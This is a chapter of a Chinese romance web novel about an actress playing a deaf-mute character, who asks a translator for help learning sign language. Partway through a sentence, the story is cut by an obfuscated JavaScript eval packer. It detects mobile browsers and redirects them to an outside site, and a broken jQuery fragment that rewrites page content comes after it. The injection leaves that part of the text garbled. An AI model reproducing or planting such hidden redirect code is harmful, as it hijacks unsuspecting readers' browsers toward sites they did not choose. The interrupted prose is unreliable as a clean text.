明望舒拳头紧了又松，松了又紧。
不生气。
没必要。
不生气。
明望舒心里默念三遍，皮笑肉不笑地看着卫忱反击道：“这有什么可比较的？你就是比我早八百年，我也不会加你。”
但现在，卫忱和她的的确确、实打实有联系方式。
即使是在她不知道什么时候添加上好友，也不知道对面是卫忱的情况下。
“所以一定是谁拿我的手机点了通过，我压根不记得！”
话音落地，电梯内忽而鸦雀无声。
仅有机器运作发出的一丝丝细微响动。
明望舒本以为卫忱肯定会阴阳怪气地回呛她一句，但他没有。
卫忱只是转头，平平地看了她一眼，什么都没有说。
“……”
明望舒忽然觉得自己像一颗哑弹，丢出去，没了声音，也没有如愿爆炸。
一直到底层，走出酒店，卫忱都没有再开口，明望舒索性也收起手机，坐进保姆车自顾自开始熟悉剧本。
小娟匆忙跑来，刚上车就连打了两个喷嚏。
她擤了两下鼻子，“……”
怎么好像进了冰窖？
-
赶到片场，工作人员已经开工许久了。
“场务呢？再搬两个苹果箱过来！”
“灯光老师！这里需要再调整一下！”
这里是剧组临时租的一个场地，在圣劳伦斯河畔附近，是个老城区，但城市规划尤为整齐。
时间刚过八点，主演们还未到场，明望舒算是到的最早的一个。
里面初步的场景已经搭建完成，费导正在一旁吞云吐雾看监视器呈现出来的画面。
明望舒过去打了声招呼，费导似乎是有些惊讶她的嗓音，“上次见你还没这么严重，这两天没休息好？”
明望舒点了下头，确实是夜不能寐，除了拍摄压力，还有另一个不确定因素。
费导吸了一口烟，“第一场戏，准备好了。”
“不会耽误拍摄。”明望舒笑道。
许是正忙着，费导没有和她多寒暄，明望舒便远远地坐在一旁的小马扎上，继续翻阅剧本。
电影名叫《掷地有声》，是一部以聋哑人为主题的现实向影片。
故事发生在1985年秋，主人公是被骗偷渡到海外打黑工的聋哑女性，在那些暗无天光的日子里，她结识了同样残障的一群人。
他们肤色不同，语言不通，却并肩携手，有着同一个愿望，最终以团结一心，让自己以及所有人重见天日，回到家乡。
明望舒翻阅完，演员陆续到齐，开机前最重要也是必不可少的一项，那就是开机仪式了。
工作人员拿了个大喇叭，将所有人聚集到一块儿。
前面的案桌已经布置完毕，演员们正举着香，准备拜神。
明望舒听见声音，将剧本从脸上挪开，下意识扭头问小娟：“卫忱……卫翻译呢？”
小娟巡视一圈，‘咦’了一声：“奇怪，他刚还在的。”
卫忱没在，明望舒也不能让剧组的人等他。
开机仪式拜完，明望舒拿到两个红包，一个是给演员本人，另一个是给角色的。
这会儿明望舒倒是一扭头就看见了从外面走进来的卫忱。
明望舒径直走过去，“你刚去哪了？本来想让小娟喊你拜开机仪式的。”
卫忱收起手机，言简意赅：“接电话。”
明望舒‘哦’了声，一只手从背后伸出来，两根手指之间捏着一个红包。
卫忱：“这什么？”
明望舒古怪地斜他一眼，“红包啊，这你看不出来吗？”
卫忱心平气和地说完：“我的意思是，为什么给我。”
明望舒恍然，和他这个圈外人解释道：“这和拍摄的禁忌有关，就比如我演的这个聋哑人角色，属于残障人士，就会发一个红包以图吉利。”
另外一点，就当是看在他第一晚帮自己‘驱邪’的份上。
“难道你不想发财啊？”明望舒一脸‘还装，我都看穿你了’的表情，“沾沾喜气——”
明望舒刚说完，就忍不住捂着嘴咳了两声。
刚才太多人和她打招呼，看来是已经把今天的话预支完了……
接下来她还是当个哑巴吧。
卫忱撩了她一眼，不作声，但接过了那份红彤彤、带着寓意的红包。
明望舒又咳了两声，回到车上翻出包里的雾化剂，往气管里吸了两口，才勉强止住痒意。
卫忱给她接了杯水，明望舒喝完缓了好一会儿，正准备下车回去组里看剧本，卫忱叫住她。
“等等。”
只见卫忱翻开笔记本，从夹层里面拿出一小叠便签纸。
“需要说什么，就写下来。”
明望舒定定看了他两秒，“你怎么一会儿这样一会儿那样的？”
毒舌和善良会出现在同一个人身上吗？
尤其是这两天的卫忱，好心得叫人心生诡异！
“电影里，角色人设的变化，代表马上要发生反转了。”
卫忱：“……”
卫忱刚想说‘当他没说’，收回手的前一秒，明望舒看着他手心里那块素色便签，突然俯下身来。
垂顺的长发荡下来，末端发丝擦过卫忱鼻尖，带有侵略性的尾香直冲鼻腔，却莫名让人心痒。
想细嗅，可这点气味很快消散在空中，抓不着丝缕。
卫忱睫毛轻颤，等回过神来，掌心中已空无一物，连同自己另一只手正握着的东西也不复存在。
明望舒拿走了便签，顺手捞走了他的那只中性笔。
已经脚步轻快地走远了。
卫忱：……
商务车座位对面，化妆师的镜子还未收起，卫忱望向镜子里的自己，飞速收拢眼角的一点笑意。
他……很反复无常？
…
摄影机上的红布已经掀开，明望舒做完妆造，正式开始拍摄。
费导的习惯是先粗糙地开始拍，明望舒甚至连其他对手演员都没认齐，两人就开始了第一场戏。
她今天其实没多少戏份，更是零台词，但与之替代的，是另一种语言。
手语。
当初接下这部电影的时候，明望舒就听林慧提到过，费导的这部电影，是按照真实事件改编的。
撇开前期准备阶段的工作不谈，只选角到拿到剧本再到正式开拍，不过一个月的时间。
她压根没有时间系统且专业地进行手语培训。
最多，是潦草看过几个手语教学视频，但那都是应付打招呼这类最基础的语言用。
明望舒之后又花了将近三天将剧本透彻了解了一遍，最终得出的结论是——
挑战性无比巨大。
剧组有专门的手语老师，听说是费导的同乡，一个真实的聋哑人，姓黄，单名一个洁。
明望舒见她的第一面，心里就升起一种……敬畏。
直觉告诉她，这位老师不是善茬。
“黄老师，您好，我是明望舒，请多指教。”
不知是她的称呼不对，还是无意间招惹过这位素未谋面的手语老师，黄洁并不买她的账。
除了教学，其他时间从不和她多交流。
只有她身边一个看起来像助理的女生主动和明望舒解释，表示不用放在心上，黄老师对谁都比较严肃。
对花瓶明星估计更甚，简称厌蠢。
明望舒兀自叹了口气。
中午短暂的午休后，下午太阳热辣。
明望舒的最后一场戏里，出现了许多专业性词汇，一套凌乱的动作下来，她不仅忘了上午的手语，也记混了下午的。
到最后，黄洁只比划了两遍，便起身去教另一位素人演员了。
留明望舒一人在原地自我消化，自我领悟。
小娟义愤填膺：“这都什么人啊！明明舒姐你才是主角，难道主角不是最重要的吗？”
明望舒宽慰她坐下，冷静一点。
【每个演员的戏份都重要。没事，黄老师刚教学的时候，我录下视频了，等回去慢慢练】
第一场戏堪堪结束，明望舒就已经饥肠辘辘，同时精疲力竭了。
没有台词果然不一定比有台词好演。
更何况她的对手戏不止华人，还有各种蓝灰绿眼睛……
明望舒长吁一口气。
五十六个民族五十六枝花，现在是一百零八枝花，她一枝都搞不定。
明望舒在一旁愁眉不展地叹气，卫忱仿若无知无觉，垂眉低眸地在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406364|200532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的剧本上划着什么。
明望舒：“……”
冷漠又成他的保护色了？
明望舒暗骂卫忱没有心，冷不丁，脑中冒出一个想法。
等会儿。
中译法是翻译，那中译手岂不也是一种翻译？
明望舒毫不掩饰地盯着他，唇角缓慢扬起一个邪魅的弧度。
小娟：……
她昨晚上看的分尸电影里，凶手就是这个表情！！
-
晚上收工早，不过八点。
明望舒回酒店洗漱完的第一时间，是把今天录下来的手语视频再翻看一遍。
但不知道是这位手语老师不待见她，还是她的悟实在太差，原本一分钟的教学视频，硬生生被缩短成了五十秒。
老师的手几近残影。
明望舒看完三遍依旧目瞪口呆。
……她摇花手都摇不了那么快。
费导算是组里唯二会手语的人……但她总不能去叨扰人导演吧。
思来想去，明望舒从沙发窝里起身，抱着手机和笔记本出了房门，走了几步来到隔壁房门口。
明望舒在门口踱步许久，正要敲下去，房门突然被打开了。
卫忱站在玄关口，瞥了眼明望舒高举的手，似乎并不意外。
“……”
明望舒顿了下，收回自己差一毫米就落在卫忱胸口的手，“你……要出门？”
卫忱提了提手里的脏衣篓，“去洗衣房。”
明望舒：“哦。”
洗衣房在六楼，和餐厅同一层，卫忱走到电梯井，明望舒也走到电梯井。
但下一秒，他脚步停顿，回旋。
见卫忱突然往回走，明望舒顿了顿，“你不去了？”
房卡扫过门前的感应器，‘滴滴’两声，卫忱压下门把手进屋。
“忘了东西。”将脏衣篓放在玄关处，他平淡道。
见明望舒仍然待在门口，卫忱停顿一下，掀起眼皮看她，问：“有事？”
明望舒有些不确定，她斟酌了一些，还是抱着一丝希望问道：“你会不会手语？”
卫忱：？
“外语能翻译，那手语也能翻译嘛，”明望舒煞有其事地分析，“都是传递信息，对吧？”
“……”
卫忱面无表情，“翻译语种里没有手语这一项。”
话音落地，卫忱听见门口传来一声轻‘啧’，他转而抬头看向她，明望舒一脸‘我高看你了’的表情神态。
卫忱：“…………”
明望舒大失所望，“本来还想问问你能不能看懂视频里这段手语，黄老师当时手速实在太快了，我压根没看清。”
“你学习能力那么强，肯定什么都会一点是吧？”
卫忱哪能听不出对方是在捧高自己。
他不接话，明望舒佯装叹气：“算了，我还是回去自己放慢动作，研究研究吧。”
卫忱噎了一下，“传过来。”
明望舒眼睛亮了一瞬，一回生二回熟地走进去坐下，立刻将手机里这段视频隔空投送过去。
顺手从口袋里摸出两粒枫叶形状的软糖，拆开一颗递给卫忱。
卫忱看她一眼，又收回视线。
然而卫忱看完她拍摄的半截视频，平静地放下手机，说：“不能。”
明望舒：“……”
所以你到底在装什么。
贿赂都收了，结果告诉她，他不会？
明望舒觉得自己亏大发了！
问题没解决，还赔了一颗糖，明望舒没好气地说：“我沐浴液用完了，你的借我一点。”
卫忱似乎在看翻译类的工具书，闻声眼皮都没掀，点了点头。
背后传来‘哒哒哒’的脚步声，卫忱始终维持着腰背笔挺的模样，淡然自若一般。
明望舒快速拿完替换装，离开前本想和他说一声，但见对方忙碌的样子，她闭上了嘴。
卫忱正要合上电脑，刚转过身，只听门口‘砰’一声。
某个拿完沐浴液的人转头就走了，没有一丝留恋。
仿佛本就没有指望他。
卫忱：“……”
他微不可察地叹出一口气，合上《法语词汇渐进》。
打开搜索引擎，敲下‘零基础手语教学’。